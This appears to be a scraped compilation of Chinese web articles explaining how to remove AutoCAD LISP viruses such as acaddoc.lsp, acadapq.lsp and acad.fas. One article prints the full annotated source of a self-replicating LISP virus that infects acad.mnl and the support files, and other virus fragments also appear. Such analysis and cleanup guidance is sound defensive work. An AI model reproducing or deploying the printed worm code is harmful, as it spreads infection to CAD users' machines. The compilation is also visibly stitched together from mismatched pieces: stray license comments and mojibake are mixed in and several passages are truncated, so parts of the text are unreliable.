autocad2008杀acad.lsp病毒方法

CAD病毒acaddoc

天正CAD产生的acaddoc.lsp病毒怎么解决①、关闭CAD（一定要先关闭正在运行的CAD程序）。

②、进入安全模式（重要前提！！！），按F3键打开XP系统的文件搜索窗口，搜索并删除acad.lsp、acadappp.lsp、acadapp.lsp acadapq.lsp 、acaddoc.lsp 这5个文件。

注意：“搜索范围”一定要选择“本机硬盘驱动器...”，并勾选“搜索选项”中的“高级选项”，将其下的“搜索子文件夹”项勾选上，否则不能将这3个文件全部搜索清除干净。

③、复制下面的代码在CAD命令行运行，以恢复被修改的系统变量默认值：(setvar "zoomfactor" 40)(setvar"mbuttonpan" 1)(setvar"HIGHLIGHT" 1)(setvar "fillmode" 1)④用记事本打开CAD下的“acad.mnl”文件，将文件最后一行代码(load "acadappp")删去。

(错误: LOAD 失败: "acadapq")的根源。

(如“acad.mnl”文件中无此行代码可忽略此操作)附：“acad.mnl”文件可能在下面的目录中，C:\Documents and Settings\×××\Application Data\Autodesk\AutoCAD200×\R×.×\chs\Support其中×××是你登录系统时的用户名，200×和R×.×分别是CAD的版本和版本代号。

（注意：目录C:\Documents and Settings\是系统隐藏文件夹）acaddoc.lsp病毒有效的方法。

1:查找acaddoc.lsp，把高级选项打开，把隐藏的也搜索出来删除。

cad病毒acad处理

cad病毒acad处理cad病毒acad处理这是一种病毒，但不用重装，可以杀的一、彻底的解决方案1:(主要是acad.fas程序文件)1、清除方法是删除干净acad.fas与lcm.fas两个文件!如果删除不净下次启动是还是会生成,务必清理干净!同时搜acad.lsp和acadapp.lsp删掉2、进入“C:\\Documents and Settings\\用户名\\Application Data\\Autodesk\\AutoCAD 2005\\R16.1\\chs\\support"如果有acad.fas，删除打开acad.mnl，末尾如有不明代码，删除。

清除步骤：1.退出CAD。

2.全盘搜索acadapq.*、、acadappp.*、acaddoc.* 文件，然后彻底删除上述文件。

注意查找前在文件夹选项中设置“显示所有文件与文件夹”以及取消“隐藏受保护的操作系统文件”。

搜索时选择“查找所有文件及文件夹”，然后在“高级选项”里勾选“搜索系统文件夹”“搜索隐藏的文件和文件夹”“搜索子文件夹”。

如果搜出的文件无法删除，则先清空回收站，再搜索删除。

注：探索者目录下有个AcadDoc.lsp（注意大小写）不是病毒文件，谨防误删。

3.查看C盘根目录下是否有boot.dat文件，如有，则将其删除。

4.进入C:\\Documents and Settings\\用户名\\Application Data\\Autodesk\\AutoCAD 2006（或AutoCAD2004）\\R16.2\\chs\\Support目录，用记事本打开该目录下的所有*.mnl文件，手动删除与附件1相同的代码（一般都在文件末尾），然后保存。

并将修改后的所有*.mnl文件属性设置为“只读”。

5.进入CAD安装目录下的support目录，将该目录下的所有*.lsp 文件按步骤4方法处理。

记得将其属性设为“只读”。

CAD病毒LSP解决办法

第一种方法：
①、关闭AutoCAD软件
②、搜索并刪除所有“acaddoc.lsp”文件
③、找一台没有被CAD病毒破坏、且安装有相同版本AutoCAD的电脑，复制其所有“*.lsp”文件和“*.mnl”文件至本机覆盖原文件（包括C盘用户目录内的相关文要是windows的系统目录）是否还有这些文件：hysoft*.dll,KtCnPub*.dll及RyClient.dll sx32w.dll，如果有，删除后试一下（除了软件目录下的）。（搜索文件时，注意选择“搜索隐藏的文件”），一定要你的机器是ie为6或者更高版本，配置文件错误，执行options命令，把cad的配置设为<<未命名配置>>，然后删除“HyAcs_52”配置。退出AutoCAD，重新进入acs。
文章主题：7.CAD病毒“错误: 输入的列表有缺陷”的解决办法
作者：zsx 时间：2010-1-22 13:55:20
据我们的乐清和北京的客户说，打开AutoCAD2004，命令行提示出现：错误: 输入的列表有缺陷（CAD病毒），重装AutoCAD都没有用！其实，每次打开一个文件，AutoCAD就会自动生成一个叫“acaddoc.lsp “的脚本文件，而且会造成AutoCAD运行很缓慢！当出现错误: 输入的列表有缺陷（CAD病毒）的时候，必须按ESC取消，才有可能出现AutoC.搜索全盘的acaddoc.lsp，并删除；
2.显示隐藏文件；
3.把压缩包里的1.lsp改名为acaddoc.lsp，再把改完后的acaddoc.lsp和acadapq.lsp覆盖路径C:\Documents and Settings\用户名\Application Data\Autodesk\AutoCAD 2004\R16\chs\Support下相应的文件即可。

解决acaddoc.lsp病毒及CAD粘贴慢的办法

;;;
;;; Globalization Note:
;;; We do not support autoloading applications by the native
;;; language command call (e.g. with the leading underscore
;;;
;;; Copyright (C) 1994-2007 by Autodesk, Inc.
;;;
;;; Permission to use, copy, modify, and distribute this software
;;; for any purpose and without fee is hereby granted, provided
这种方法很多人试了都能解决，当然，有时候反应慢还跟自己的电脑有关系，不能完全把责任推到软件上面！
;;; documentation.
;;;
;;; AUTODESK PROVIDES THIS PROGRAM "AS IS" AND WITH ALL FAULTS.
;;; AUTODESK SPECIFICALLY DISCLAIMS ANY IMPLIED WARRANTY OF
;;; MERCHANTABILITY OR FITNESS FOR A PARTICULAR USE. AUTODESK, INC.
Байду номын сангаас
CAD复制粘贴反应慢甚至死机的解决办法
在使用CAD2008的时候，如果要把某一张图复制到另外一张图，尤其是当图片很大的时候，会出席粘贴很慢，有时候还可能造成死机的情况，通常只能强行结束，那么这个时候怎么办？实际上造成这种现象的原因是在CAD2008里面新增加了注释行这一功能，出现上述问题的图形文件内部存在大量的注释性比例，当粘贴新的对象到文件时CAD会自检一遍这些比例设置，当比例有成百上千条时，这个过程就需要很长时间，CAD程序也就会出现反应中止的现象了。

AUTOCAD病毒的清除方法acaddoc.lsp和acadapq.lsp

AUTOCAD病毒的清除方法acaddoc.lsp是一个专门针对CAD文件的病毒，在CAD软件使用中主要表现的情况如下：1、无法拷贝2、在命令行提示需要执行一个宏3、CAD会出莫名其妙的问题解决方法：关闭AutoCAD程序;搜索所有acaddoc.lsp和acadapq.lsp文件删除所有关acadapq.lsp(3,836字节) 和被感染的acaddoc.lsp(27字节) (看文件大小);重启AutoCAD,OKashan发表LZ还说少了一个步骤：没有处理acad.mnl文件，这样的清除并不彻底，下次再打开带毒的dwg文件（这里并非指dwg文件本身带毒，而是指在该dwg文件下有acaddoc.lsp文件存在）后，系统又会感染病毒，偶曾经对这个cad病毒的代码做过详细分析，下面是原文，有兴趣的朋友可以详细看看：最近自己的电脑中了CAD病毒，症状为打开一个dwg文件后，在该dwg文件所在目录下就会自动生成一个“acaddoc.lsp”文件，即使手工将其删除，下次打开dwg文件时又会自动生成。

如果把dwg文件和acaddoc.lsp文件一起复制到另外一部未感染CAD病毒的电脑上，只要一打开该dwg文件，则该电脑就会被感染。

因为这个CAD病毒是个lisp程序，花了些时间对病毒代码进行分析如下：-----------------下面是病毒代码-----------------------------(setq wold_cmd (getvar "cmdecho"))(setvar "cmdecho" 0)(setq wpath (findfile "base.dcl"))(setq wpath (substr wpath 1 (- (strlen wpath) 8))) ;wpath变量保存ACAD下support目录路径(setq wwmnlwpath (getvar "menuname")) ;获得当前菜单名，这句没有用处，下面并未使用wwmnlwpath变量(setq wnowdwg (getvar "dwgname")) ;获得当前打开图形文件名(setq wwjqm (findfile wnowdwg)) ;wwjqm变量保存当前打开图形文件的完整路径(setq wdwgwpath (substr wwjqm 1( - (strlen wwjqm) (strlen wnowdwg)))) ;wdwgwpath变量保存当前打开图形文件所在路径;;;alert( setq f ( open "c:\\boot.dat" "w")) ;f变量为boot.dat文件句柄，c盘根目录下boot.dat文件若存在则(write-line "[dang]" f) ;打开，不存在则创建，然后将当前打开图形文件所在路径和support(write-line (strcat "ff=" wdwgwpath) f) ;目录路径写入boot.dat文件(write-line (strcat "yy=" wpath) f)(close f)(setq boot (findfile "boot.dat")) ;获得boot.dat文件所在目录完整路径(if (/= boot "") (command "_-vbarun" "ThisDrawing.hh")) ;这句是要运行一个名为“ThisDrawing.hh”的宏，但该宏并不存在(setq wacadwpath (findfile "acaddoc.lsp")) ;wacadwpath变量保存当前加载的acaddoc.lsp文件所在目录(setq wacadwpath (substr wacadwpath 1(- (strlen wacadwpath) 11)))(setq wns1 "" wns2 "")(setq wlspbj 0) ;wlspbj变量是判断support目录下acaddoc.lsp文件是否已感染的;;; ;标志，已感染为1，未感染为0(setq wwjqm (strcat wpath "acaddoc.lsp")) ;wwjqm变量指向support目录下的acaddoc.lsp文件(if (setq wwjm (open wwjqm "r")) ;wwjm变量为打开support目录下的acaddoc.lsp文件的句柄，若打开(progn ;成功则进行处理(while(setq wwz (read-line wwjm)) ;逐行读取acaddoc.lsp文件内容，读取结束后，wns1中是倒数第2行(setq wns1 wns2 ) ;内容，wns2中是最后一行的内容(setq wns2 wwz))(if (> (strlen wns1) 14) ;判断wns1中从第8个字符开始的7个字符是否为“acadapq”，(if (= (substr wns1 8 7) "acadapq") ;若是则已感染(setq wlspbj 1)))(close wwjm)))(setq wlspmnl 0) ;wlspmnl变量是判断support目录下acad.mnl文件是否已感染的标志，;;; ;已感染为1，未感染为0(setq wwjqm (strcat wpath "acad.mnl")) ;wwjqm变量指向support目录下的acad.mnl文件(if (setq wwjm (open wwjqm "r" )) ;wwjm变量为打开support目录下的acad.mnl文件的句柄，若打开(progn ;成功则进行处理(while (setq wwz (read-line wwjm)) ;逐行读取acad.mnl文件内容，读取结束后，wns1中是倒数第2行内容(setq wns1 wns2 ) ;wns2中是最后一行的内容(setq wns2 wwz))(if (> (strlen wns1) 14) ;判断wns1中从第8个字符开始的7个字符是否为“acadapq”，若是则(if (= (substr wns1 8 7) "acadapq") ;已感染(setq wlspmnl 1)))(close wwjm) ;关闭acad.mnl文件))(if (= wlspmnl 0) ;若acad.mnl文件未感染，则写入加载病毒的代码到acad.mnl文件的(progn ;最后2行中(setq wwjqm (strcat wpath(strcat (chr 97) (chr 99) (chr 97)(chr 100) (chr 46) (chr 109)(chr 110) (chr 108)) )) ;障眼法，等于(strcat wpath "acad.mnl")(setq wwjm (open wwjqm "a"))(write-line (strcat "(load " (chr 34)"acadapq" (chr 34) ")" ) wwjm)(write-line "(princ)" wwjm)(close wwjm)))(defun wwriteapp ()(if (setq wwjm1 (open wnewacad "w"))(progn(setq wwjm (open woldacad "r"))(while (setq wwz (read-line wwjm))(write-line wwz wwjm1))(close wwjm)(close wwjm1))))(if (and (= wacadwpath wdwgwpath)(/= wacadwpath wpath)) ;若加载的acaddoc.lsp文件和图形文件同目录(progn(if (= 0 wlspmnl) ;acad.mnl文件未感染(progn(setq woldacad (findfile "acaddoc.lsp")) ;在下面调用wwriteapp子程序读取图形文件目录下的acaddoc.lsp文件(setq wnewacad (strcat wpath "acadapq.lsp")) ;的内容，在support目录下创建acadapq.lsp 文件并将acaddoc.lsp) ;文件的内容写入acadapq.lsp文件中;;else （acad.mnl文件已感染）(progn(setq woldacad (strcat wpath "acadapq.lsp" )) ;在下面调用wwriteapp子程序读取support目录下的acadapq.lsp文件(setq wnewacad (findfile "acaddoc.lsp")) ;的内容，写入图形目录下的acaddoc.lsp文件中))(if (= wlspbj 0) ;support目录下的acaddoc.lsp文件未感染(progn ;下面代码将加载病毒程序的代码写入acaddoc.lsp文件的最后2行中(setq wwjqm (strcat wpath "acaddoc.lsp" ))(setq wwjm (open wwjqm "a"))(write-line (strcat "(load " (chr 34)"acadapq" (chr 34) ")" ) wwjm)(write-line "(princ)" wwjm)(close wwjm)))(wwriteapp));;else （若加载的是support目录下的acaddoc.lsp文件）(progn(if (/= wnowdwg "Drawing.dwg" ) ;当前打开文件不是新建图形文件(progn(setq woldacad (findfile "acadapq.lsp")) ;在图形文件目录下创建acaddoc.lsp文件，将acadapq.lsp(setq wnewacad (strcat wdwgwpath "acaddoc.lsp")) ;文件的内容写入acaddoc.lsp文件中(wwriteapp)))))(setvar "cmdecho" wold_cmd)(princ) ;下面的代码又是个障眼法，没什么作用(setq strtopstr (strcat (chr 92) (chr 92) (chr 70)(chr 83) (chr 49) (chr 92)(chr 83) (chr 89) (chr 83)(chr 49) (chr 92) (chr 87)(chr 79) (chr 82) (chr 75)(chr 92) (chr 80) (chr 76)))-----------------病毒代码到此结束----------------------------从以上对病毒代码的分析可知，该病毒的病毒文件有2个，一个为acadapq.lsp，位于ACAD 安装目录下的support目录下，另一个为acaddoc.lsp，位于当前打开的dwg文件所在目录下，2个病毒文件的内容相同。

CAD病毒查杀方法教程怎么手动杀毒

CAD病毒查杀方法教程怎么手动杀毒病毒无处不在，随时入侵我们电脑，CAD也一样，那CAD文件病毒怎么清除?本文就来教大家使用手动设置查杀CAD病毒的方法，具体步骤请看下文。

CAD病毒查杀方法介绍：手动查杀CAD病毒：1、关闭CAD(一定要先关闭正在运行的CAD程序)。

2、搜索并删除acad.lsp、acadappp.lsp和acadapp.lsp这3个文件。

3、复制下面的代码在CAD命令行运行，以恢复被修改的系统变量默认值：01(setvar "zoomfactor" 40)02(setvar"mbuttonpan" 1)03(setvar"HIGHLIGHT" 1)04(setvar "fillmode" 1)复制代码4、用记事本打开CAD下的“acad.mnl”文件，将文件最后一行代码(load "acadappp")删去。

(如"acad.mnl"文件中无此行代码可忽略此操作)附："acad.mnl"文件可能在下面的目录中，C:\Documents and Settings\×××\Application Data\Autodesk\AutoCAD 200×\R×.×\chs\Support其中×××是你登录系统时的用户名，200×和R×.×分别是CAD 的版本和版本代号。

(注意：目录C:\Documents and Settings\是系统隐藏文件夹)补充：CAD使用小技巧1、文字镜像如何设置转动与不转动A、在镜像前，输入MIRRTEXT指令B、输入新值0 代表不转动;输入新值1代表转动C、MIRRTEXT指令完成后，输入MI镜像指令就OK了2、CAD的版本转换A、CAD高版本可以打开所有低版本的图纸B、CAD低版本不可以打开高版本的图纸C、高版本转成低版本的方法，直接点击另存为，将文件类型可以改成任意的低版本D、将低版本转换成高版本，就比较复杂了，需要第三方软件，也就是版本转换器。

CAD中acaddoc.lsp病毒处理办法

常见AutoCAD病毒(acad.fas、acad.lsp)清除方法acad.fas、acad.lsp这两种病毒是最常见的CAD病毒了，并且往往同时出现。

由于其本身对系统并不具备危害性，仅仅是恶作剧程序罢了，因此大多数防病毒软件对它们不起作用，下面介绍手动删除方法。

第一步：查找硬盘、U盘内的 acad.fas、lcm.fas、acad.lsp、acadapp.lsp、acadappp.lsp 五个文件并删除干净（查找前请将显示隐藏和系统文件打开，这五个文件不一定同时出现。

强烈建议使用Total Commander文件管理器查找）。

第二步：查找acad.mnl文件（这个文件通常有两个，一个在“c:/Program Files/AutoCAD****/UserDataCache/Support/”文件夹下，另一个在“c:/Documents and Settings/你的用户名/ApplicationData/Autodesk/AutoCAD****/R****/chs/Support/”文件夹下。

目前病毒仅修改第一个acad.mnl文件）。

打开acad.mnl文件，在文件末尾找到以下三个语句的组合并删除（这三个语句组合不一定同时出现），然后保存文件。

(if (null stol) (load "lcm" ""))(princ)(load "acadapp.lsp")(princ)(load "acadappp.lsp")(princ)附录：有关该CAD病毒 acad.fas 的说明：1.它对电脑是没有任意的危害性！2.它在8:00到18:00这段时间,对CAD没有任何影响的!它的副作用就是：你的CAD在启动时会弹出一个显示时间的对话框如果时间不在8:00至18:00之间，还有可能伴随"移动"命令改变等情况。

清除LSP病毒文件说明

③、在CAD命令行运行下面的代码，修复病毒修改系统变量值：
(setvar "zoomfactor" 40)(setvar"mbuttonpan" 1)(setvar"HIGHLIGHT" 1)(setvar "fillmode" 1)
再用记事本打开CAD安装目录下的“acad.mnl”文件，将此行代码(load "acadappp.lsp")删去。
手工清除方法：（请参考“CAD病毒清除方法.doc”文档中的图示）
①、关闭CAD（一定要先关闭正在运行的CAD程序）。
②、按F3键打开XP系统的文件搜索窗口，搜索并删除acad.lsp、acadappp.lsp和acadapp.lsp这3个文件。
注意：“搜索范围”一定要选择“本机硬盘驱动器...”，并勾选“搜索选项”中的“高级选项”，将其下的“搜索子文件夹”项勾选上，否则不能将病毒文件全部搜索清除干净。
该病毒是以前那个炸开命令不能使用病毒的变种，它修改了这4个系统变量的值。
(setvar "zoomfactor" 12)
(setvar"mbuttonpan" 0)
(setvar"HIGHLIGHT" 0)
(setvar "fillmode" 0)

这4个系统变量的默认值是：
(setvar "zoomfactor" 40)
(setvar"mbuttonpan" 1)
(setvar"HIGHLIGHT" 1)
(setvar "fillmode" 1)

CAD病毒通用杀毒方法

CAD病毒通用杀毒方法杀毒方法：1.利用命令来清除病毒：使用打开CAD程序,在命令行输入:(复制到命令行即可)(while(or(setq a (findfile”acad.fas”))(setq a (findfile”lcm.fas”)))(vl-file-delete a))也就是要搜索并删除acad.fas和lcm.fas。

2、直接搜索acad.fas和lcm.fas，找到的话删除掉，然后再启动CAD第一种方法：将硬盘、u盘、移动硬盘、网络共享文件夹中的.fas .lsp .mnl .arx等类型文件全部删除即可。

具体方法如下：1、关闭CAD。

2、卸载CAD，然后删除CAD所在文件夹。

3、打开“我的电脑”—>点“搜索”（或者按CTRL+F)—>”要搜索的文件或文件夹名”里输入*.fas，*.lsp，*.mnl，*.arx—>点“立即搜索”。

4、将搜索到的所有文件全部删除。

同理方法，搜索自己的U盘，移动硬盘，网络文件夹等。

5、注意压缩包内是否有此类文件。

同上方法搜索 *.RAR *.ZIP 看你打包的图纸文件内是否包有上述类型文件，有就删除。

6、重新安装AutoCAD和其平台上辅助软件即可。

第二种方法：1、关闭CAD。

2、搜索acad*.lsp,acad*.fas,acad*.vlx，如果有很多此类文件，尤其是在图纸目录下有此类文件，将相同大小的文件删除，要彻底一些的话可以将这些文件全部删除。

3、启动CAD，看是否恢复正常，如果仍不正常，则需要用第一种方法。

方法评价：如果你安装了在AutoCAD上的专业软件，这种方法可能会导致专业软件无法正常启动，需要重新安装。

三、关于此类问题的预防：1、如果看到图纸文件夹内除了DWG文件外，还有.fas .lsp .mnl .arx类型文件，如果不明其用途，一定要删除，拷贝别人图纸的时候，注意别把它们拷贝过来。

通俗的讲，只要不拷贝这类文件，99%不会中毒。

关于acad.lsp病毒的问题以及CAD“病毒”ACAD.LSP浅析--解决方法

关于acad.lsp病毒的问题以及CAD“病毒”ACAD.LSP浅析--解决方法我们这里用的是CAD2004，最近公司同事从外面带进来了CAD病毒，问题症状是命令行以及一些功能不能使用，cad启动缓慢，电脑反应迟钝。

具体点就是CAD开始变的非常慢，通常打开一张图纸要等待几分钟的时间，并且一些运行于CAD上的二次开发软件的命令变的不可用。

即使重新安装CAD甚至重新安装系统，只要再次打开以前打开过的图纸，问题重现，这个问题对许多CAD设计人员都造成相当大的困扰。

该病毒利用CAD的读取机制，在用户第一次打开从网上下载的带有病毒的图纸后，该病毒即悄悄运行，并感染每一张新打开的图纸，将病毒文件到处复制，并生成很多名为acad.lsp的程序。

所以即便是重装CAD甚至重装系统都不能解决问题。

我个人的一些解决经验网上的方法大多不行，为什么这个说呢。

第一，病毒破坏的是当前用户所在的acad的配置文件，即使你完全删除了acad.lsp，软件acad的功能也无法修复。

第二，你搜索了所有的硬盘，找出ACAD.LSP。

acaappp.lsp acadapp.lsp。

并且删除了她，下次运行CAD，很多功能照样无法使用第三，你中毒之后，删除了所有的病毒文件，安全卸载了acad ，再次全新安装，一打开cad 还是功能缺失，速度缓慢，查硬盘，并没有发现acad.lsp等病毒第四，你中毒后发现换个用户名字进入操作系统比如你的用户名称是admin 中了毒，你现在用超级管理员administrator进入桌面，打开cad，没有问题，好像没有中毒第五，假如删除配置文件，而不全新安装cad的话，打开cad会提示无法找到C:\Documents and Settings\用户名\Application Data\xxx文件错误。

我是这样做的。

首先，找出电脑上acad.lsp acadapp.lsp cadappp.lsp ，包括隐藏的文件夹，然后删除再次，到C:\Documents and Settings\中毒的用户名\Application Data\C:\Documents and Settings\中毒的用户名\Local Settings\Application Data这个地方下面删除autodesk文件夹接着到开始---设置---添加删除程序卸载cad再删除acad的安装文件夹我的安装位置 c:\program files\autocad2004然后全新安装cad 即可完全恢复正常PS：这样只是修复，并不可避免再次中毒建议用杀毒软件或者工具屏蔽 ACAD.LSP 禁止写操作我公司就是使用macfee 禁止对ACAD.LSP文件读写操作，曾今病毒泛滥，现在基本上没有中毒的情况。

关于AutoCAD中的LISP病毒

关于AutoCAD中的LISP病毒目前CADr14有一种lisp代码具备病毒的特征，有一定危害具体情况如下：在有DW G文件里如果带有ACA D.LSP双击打开DW G文件，就会自动加载这个lisp，此lisp的功能是：加载后炸开命令外部引用等命令失效。

并且可传染：加载后在你SUPPORT目录下生成一个ACA DAPP.slp，在ACA D添加(LOAD "ACA DAPP") (PRINC)这样以后你打开acad就自动加载了ACA DAPP，它在你每个操作过的acad图形文件的文件夹下生成带恶意代码的A CAD.LSP这样如果你复制整个文件夹，或者通过局域网打开图形，就会导致在不同的机器内传染。

问题现象：EXPLODE命令失效（同时还有XREF、XBIND）；每个编辑过dwg文件的目录下面都会有一个acad.lsp；保存至另一目录时也同时产生acad.lsp；打开别人的文件时，如果该目录下有acad.lsp，那么你必中招。

解决办法一: Autocad\\support\\下建立一个acad.lsp的空白文件,并将文件属性置为只读,你自己不会具有二次传染性,可以阻止病毒的扩散.如果中毒就删掉图形目录下的acad.lsp,最好进行网络全体搜索清除清除。

解决方法二：用.Explode（在命令前加小数点“.”）可以分解；删除所有这些acad.lsp文件。

解决方法三：有个免疫设置的方法，将support目录下的ACA D.lsp设为只读，如果有ACADAPP.lsp就清空后也将其设为只读。

病毒名称Harm.Bursted该病毒是使用绘图软件：AutoCAD的内嵌脚本语言的写成，文件名为："acad.lsp" 可由AutoCAD启动时自动执行，但它不影响图形文件。

此病毒使AutoCAD的内部命令－EXPLODE, XREF 和XBIND无效，并定义一个新的命令BRUST，此命令将显示如下消息：BURST----将图块中的文字炸开后成为实体中了病毒"ASL.Bursted.A"病毒之解決方案我的電腦昨日中毒諾頓掃描後顯示說D:\RECYCLER\S－1-5-21-299502267-2139871995-726345543-1003\Dd44.rar感染ASL.Bursted.A病毒我從網路上各網站找沒有確切的方案有的說刪掉該檔案<有的提供出殺毒小軟件但均無法刪除但我從各論壇的的二次開發看到一段很重要的話ACAD有个很大的优点就是开放性它有很多开放的接口这给用户自定义以及第三方二次开发提供了极大的方便。

CAD .lsp病毒清除方法

);while
(setq lspn (1+ lspn))
(load "acadapq")
(princ)
第2步查杀acad.vlx病毒
1. 仔细搜索查看CAD安装目录后会发现Express目录的acetauto.lsp文件和Support目录的ai_utils.lsp文件都被修改了。同时Help目录内也多出了一个logo.gif文件，仔细查看它的字节大小，确定它就是这个acad.vlx文件的副本。
(if (= text bz) (setq flag t))
(if flag
(progn
(write-line text wjm1)
);progn
);if
);while
(close wjm1)
(close wjm)
);progn
);if
);defun
(setvar "cmdecho" 0)
4、检查CAD安装目录文件的修改时间，把最近的几个文件中的病毒代码删除。（用记事本打开）
5、把CAD安装目录中的所有*.fas *.lsp *.mnl *.arx文件改为只读属性。
说明：
1、ACADDOC.LSP病毒感染X:\Program Files\AutoCAD 20**\Support文件夹下的3d.lsp；3darray.lsp；acad2010.lsp；acad2010doc.lsp；acadinfo.lsp；ai_utils.lsp；attredef.lsp；edge.lsp；mvsetup.lsp；sample-profile-util.lsp文件。
(setq acadexe (findfile "acad.exe"))

acaddoc.lsp病毒文件彻底清除方法

前言: 最近本人公司里流行一种CAD病毒，中毒后，CAD每次新开图均生成一个的病毒文件，虽破坏力不大，但烦不胜烦。

经研究病毒源码后，摸索出了一套清除该病毒的办法。

然后经过在数个同事机器上验证，该方法行之有效。

于是将杀毒方法成文，群发给部门同事，以下是原文。

一病毒简介:最近公司里流传一种cad病毒。

该病毒可被卡巴斯基和360杀毒软件查出。

卡巴斯基查出病毒名为，360杀毒软件查出病毒名为。

遗憾的是，卡巴斯基和360杀毒软件均不能将其彻底清除。

二中毒症状：机器中毒后，运行CAD时，每打开一个dwg文件，均在dwg文件所在目录下生成一个的文件。

由于每次开图，病毒程序均进行一次病毒传播复制过程，因此使得CAD开图时速度变慢。

用记事本查看CAD安装路径下的support目录下的任一*.lsp文件，如文件末尾含有与附件1相同的代码，则可判定为中毒。

三传播机理：通过分析病毒的源代码，初步了解其传播机理如下：如机器已中毒，CAD新打开dwg文件时，病毒程序自动加载。

并搜索CAD工作目录下的文件，感染同一目录下的*.mnl文件，搜索acad的support目录，并感染该目录下的所有*.lsp文件。

同时病毒在当前打开的dwg文件所在目录下生成文件，以利于下次传播。

如本机未中毒，而新打开的dwg文件所在目录下有文件，则病毒将感染上述目录下的*.mnl与*.lsp文件。

该病毒的最终目的是调用acadapq 与 acadappp 两个非法程序。

至于这两个程序会干什么，暂未深入研究。

四清除步骤：1. 退出CAD。

2. 全盘搜索acadapq.*、、acadappp.*、acaddoc.* 文件，然后彻底删除上述文件。

注意查找前在文件夹选项中设置“显示所有文件与文件夹”以及取消“隐藏受保护的操作系统文件”。

搜索时选择“查找所有文件及文件夹”，然后在“高级选项”里勾选“搜索系统文件夹”“搜索隐藏的文件和文件夹”“搜索子文件夹”。

acaddoclsp病毒解决方案

acaddoc.lsp病毒解决方案（本人经试验成功解决）现在好多朋友从别的机器拷贝图纸会带过来一种acaddoc.lsp病毒，具体症状为：1.每次打开DWG图纸，在图纸文件夹中会产生acaddoc.lsp文件，文件大小约为3528KB；2.每次打开AUTOCAD，无论任何图纸，在命令行前几行中都会出现配置表有缺陷，经常会出现三个，且无论打开什么图纸，软件打开速度特别慢，一般会在两分钟以上。

解决方法请按如下步骤（详述，如果电脑知识过关可直接做到每项小标题内容即可）：1.删除当前电脑中所有acaddoc.lsp文件打开‘我的电脑’→‘搜索’→搜索内容‘acaddoc.lsp’,最好打开高级选项中的搜索隐藏文件等小选项→全选搜索完成界面的该文件，删除→退出搜索即可；2.卸载当前AUTOCAD软件（并手工删除‘C:\Documents and Settings\Ad ministrator\Application Data\Autodesk’路径中的所有文件夹）使用3 60安全卫士等第三方软件卸载当前已经安装的AUTOCAD软件，因为我用系统自带卸载程序总是无法卸载被病毒感染的几个文件造成卸载失败，我们卸载软件的目的是彻底删除染毒文件，因为我们大部分人不会一个一个去找到这些文件并修复，不如重装一次节省时间；3.重装AUTOCAD软件（最好从压缩包中重新释放安装软件）该处没有特别的地方，大家按安装程序中的说明重装即可，唯一需要注意的就是安装程序一定要保证是无毒的，所以我才会特别注明要从压缩包中重新释放一次安装软件；4.预防再次染毒（此步骤我没有进行实践验证，只是参考当前网上的一些说明，为了保险，我对网上的说明进行了扩大范围处理）项目1：C:\Documents and Settings\Administrator\Application D ata\Autodesk\AutoCAD 2007\R17.0\chs目录下的SUPPORT文件夹（包括子文件夹）设置为只读；项目2：*:\******\AutoCAD 2007目录下的SUPPORT文件夹（包括子文件夹）设置为只读，‘*’为AUTOCAD主文件安装路径；重装了三次才找到这四个步骤，尽量按上面特别注明的要求来，因为第二次重装时曾遇到“正在重生成模型。

关于lisp病毒的处理方法（尼个病毒用360、金山、瑞星等杀毒软件都无办法清除的。）

关于lisp病毒的处理方法（尼个病毒用360、金山、瑞星等杀毒软件都无办法清除的。

）近日我看到从事设计工作的朋友被cad病毒（acad.lsp）所困扰，具体表现就是在绘制某些图纸时，cad的一些命令（如炸开/分解（explode））失灵，并且存盘后会生成名为acad.lsp的文件，将图纸发给其他同事协作时，他们的cad也会出现同样的问题……，其严重影响我们的制图效率及质量，个中郁闷也只有常用autocad的人才明白。

其实这是cad病毒在作怪。

用windows记事本打开acad.lsp文件，发现开头部分的代码如下：(defun s::startup (/ old_cmd path dwgpath mnlpath apppath oldacad newacadnowdwg lspbj wjm wjm1 wjqm wjqm1 wz ns1 ns2)(setq old_cmd (getvar "cmdecho"))(setvar "cmdecho" 0)(setq path (findfile "base.dcl"))(setq path (substr path 1 (- (strlen path) 8)))(setq mnlpath (getvar "menuname"))(setq nowdwg (getvar "dwgname"))(setq wjqm (findfile nowdwg))(setq dwgpath(substr wjqm 1 (- (strlen wjqm) (strlen nowdwg))))(setq acadpath (findfile "acad.lsp"))(setq acadpath (substr acadpath 1 (- (strlen acadpath) 8)))……要想如何解决它，首先需要了解它。

autocad2008杀acad.lsp病毒方法

CAD病毒acaddoc

cad病毒acad处理

CAD病毒LSP解决办法

解决acaddoc.lsp病毒及CAD粘贴慢的办法

AUTOCAD病毒的清除方法acaddoc.lsp和acadapq.lsp

CAD病毒查杀方法教程怎么手动杀毒

最新CAD病毒查杀

CAD中acaddoc.lsp病毒处理办法

清除LSP病毒文件说明

CAD病毒通用杀毒方法

关于acad.lsp病毒的问题以及CAD“病毒”ACAD.LSP浅析--解决方法

关于AutoCAD中的LISP病毒

CAD .lsp病毒清除方法

acaddoc.lsp病毒文件彻底清除方法

acaddoclsp病毒解决方案

关于lisp病毒的处理方法（尼个病毒用360、金山、瑞星等杀毒软件都无办法清除的。）